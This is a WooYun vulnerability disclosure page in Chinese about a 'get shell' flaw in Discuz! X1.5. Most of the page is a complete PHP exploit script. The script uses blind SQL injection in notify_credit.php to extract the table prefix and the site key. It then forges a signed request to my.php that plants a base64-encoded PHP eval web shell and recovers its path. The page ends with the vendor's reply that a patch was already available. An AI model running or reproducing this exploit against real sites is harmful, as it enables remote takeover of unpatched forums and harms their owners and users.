漏洞概要 关注数(3) 关注此漏洞
缺陷编号： WooYun-2011-02210
漏洞标题： discuz! X1.5 Get Shell 0day
相关厂商： Discuz!
漏洞作者： Black.Key
提交时间： 2011-06-03
公开时间： 2011-07-03
漏洞类型： 命令执行
危害等级： 高
自评Rank： 20
漏洞状态： 厂商已经确认
漏洞来源： http://www.wooyun.org
Tags标签： sql注射漏洞利用技巧
漏洞详情
披露状态：
2011-06-03： 细节已通知厂商并且等待厂商处理中
2011-06-03： 厂商已经确认，细节仅向厂商公开
2011-06-18： 细节已向核心白帽子及相关领域专家开放
2011-07-03： 细节向全体白帽子公开
2011-07-18： 细节向公众公开
简要描述：
可以自由写入一句话木马
详细说明：
以下为漏洞的EXP
<?php
print_r('
+---------------------------------------------------------------------------+
Discuz! X1-1.5 notify_credit.php Blind SQL injection exploit by toby57 2010.11.05
mail: admin at bkey org
team: http://www.bkey.org
说明:alibaba把后续getshell代码添加了下去
+---------------------------------------------------------------------------+
');
if ($argc < 2) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url [pre]
Example:
php '.$argv[0].' http://localhost/
php '.$argv[0].' http://localhost/ xss_
+---------------------------------------------------------------------------+
');
exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
$url = $argv[1];
$pre = $argv[2]?$argv[2]:'pre_';
$target = parse_url($url);
extract($target);
$path1 = $path . '/api/trade/notify_credit.php';
$hash = array();
$hash = array_merge($hash, range(48, 57));
$hash = array_merge($hash, range(97, 102));
$tmp_expstr = "'";
$res = send();
if(strpos($res,'SQL syntax')==false){var_dump($res);die('Oooops.I can NOT hack it.');}
preg_match('/FROM\s([a-zA-Z_]+)forum_order/',$res,$match);
if($match[1])$pre = $match[1];
$tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_setting WHERE ''='";
$res = send();
if(strpos($res,"doesn't exist")!==false){
echo "Table_pre is WRONG!\nReady to Crack It.Please Waiting..\n";
for($i = 1;$i<20;$i++){
$tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM information_schema.columns WHERE table_schema=database() AND table_name LIKE '%forum_post_tableid%' AND LENGTH(REPLACE(table_name,'forum_post_tableid',''))=$i AND ''='";
$res = send();
if(strpos($res,'SQL syntax')!==false){
$pre = '';
$hash2 = array();
$hash2 = array_merge($hash2, range(48, 57));
$hash2 = array_merge($hash2, range(97, 122));
$hash2[] = 95;
for($j = 1;$j <= $i; $j++){
for ($k = 0; $k <= 255; $k++) {
if(in_array($k, $hash2)) {
$char = dechex($k);
$tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM information_schema.columns WHERE table_schema=database() AND table_name LIKE '%forum_post_tableid%' AND MID(REPLACE(table_name,'forum_post_tableid',''),$j,1)=0x{$char} AND ''='";
$res = send();
if(strpos($res,'SQL syntax')!==false){
echo chr($k);
$pre .= chr($k);break;
}
}
}
}
if(strlen($pre)){echo "\nCracked...Table_Pre:".$pre."\n";break;}else{die('GET Table_pre Failed..');};
} } };
echo "Please Waiting....\n";
$sitekey = '';
for($i = 1;$i <= 32; $i++){
for ($k = 0; $k <= 255; $k++) {
if(in_array($k, $hash)) {
$char = dechex($k);
$tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_setting WHERE skey=0x6D795F736974656B6579 AND MID(svalue,{$i},1)=0x{$char} AND ''='";
$res = send();
if(strpos($res,'SQL syntax')!==false){
echo chr($k);
$sitekey .= chr($k);break;
}}}}
/*
By: alibaba
修改与添加了一些代码，如果成功就能得到shell
一句话秘密是 : cmd
*/
if(strlen($sitekey)!=32)
{
echo "\nmy_sitekey not found. try blank my_sitekey\n";
}
else echo "\nmy_sitekey:{$sitekey}\n";
echo "\nUploading Shell...";
$module = 'video';
$method = 'authauth';
$params = 'a:3:{i:0;i:1;i:1;s:36:"PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=";i:2;s:3:"php";}';
$sign = md5($module . '|' . $method . '|' . $params . '|' . $sitekey);
$data = "module=$module&method=$method¶ms=$params&sign=$sign";
$path2 = $path . "/api/manyou/my.php";
POST($host,80,$path2,$data,30);
echo "\nGetting Shell Location...\n";
$file = '';
for($i = 1;$i <= 32; $i++){
for ($k = 0; $k <= 255; $k++) {
if(in_array($k, $hash)) {
$char = dechex($k);
$tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_member_field_home WHERE uid=1 AND MID(videophoto,{$i},1)=0x{$char} AND ''='";
$res = send();
if(strpos($res,'SQL syntax')!==false){
echo chr($k);
$file .= chr($k);break;
}
}
}
}
echo "\nShell: $host$path/data/avatar/". substr($file,0,1) . "/" . substr($file,1,1) . "/$file.php";
exit;
function sign($exp_str){
return md5("attach=tenpay&mch_vno={$exp_str}&retcode=0&key=");
}
function send(){
global $host, $path1, $tmp_expstr;
$expdata = "attach=tenpay&retcode=0&trade_no=%2527&mch_vno=".urlencode(urlencode($tmp_expstr))."&sign=".sign($tmp_expstr);
return POST($host,80,$path1,$expdata,30);
}
function POST($host,$port,$path,$data,$timeout, $cookie='') {
$buffer='';
$fp = fsockopen($host,$port,$errno,$errstr,$timeout);
if(!$fp) die($host.'/'.$path.' : '.$errstr.$errno);
else {
fputs($fp, "POST $path HTTP/1.0\r\n");
fputs($fp, "Host: $host\r\n");
fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
fputs($fp, "Content-length: ".strlen($data)."\r\n");
fputs($fp, "Connection: close\r\n\r\n");
fputs($fp, $data."\r\n\r\n");
while(!feof($fp))
{
$buffer .= fgets($fp,4096);
}
fclose($fp);
}
return $buffer;
}
?>
漏洞证明：
修复方案：
升级至Discuz! X2
版权声明：转载请注明来源 Black.Key@乌云
漏洞回应
厂商回应：
危害等级：低
漏洞Rank：1
确认时间：2011-06-03
厂商回复：
该漏洞已于3月22提供补丁修复，但由于部分站长仍未补丁，由于此转载为exp全文，为了不必要的误会以及传播，影响到仍旧未补丁的站长或造成其他用户的误会，对此漏洞1分通过，暂不忽略或公开。
最新状态：
暂无
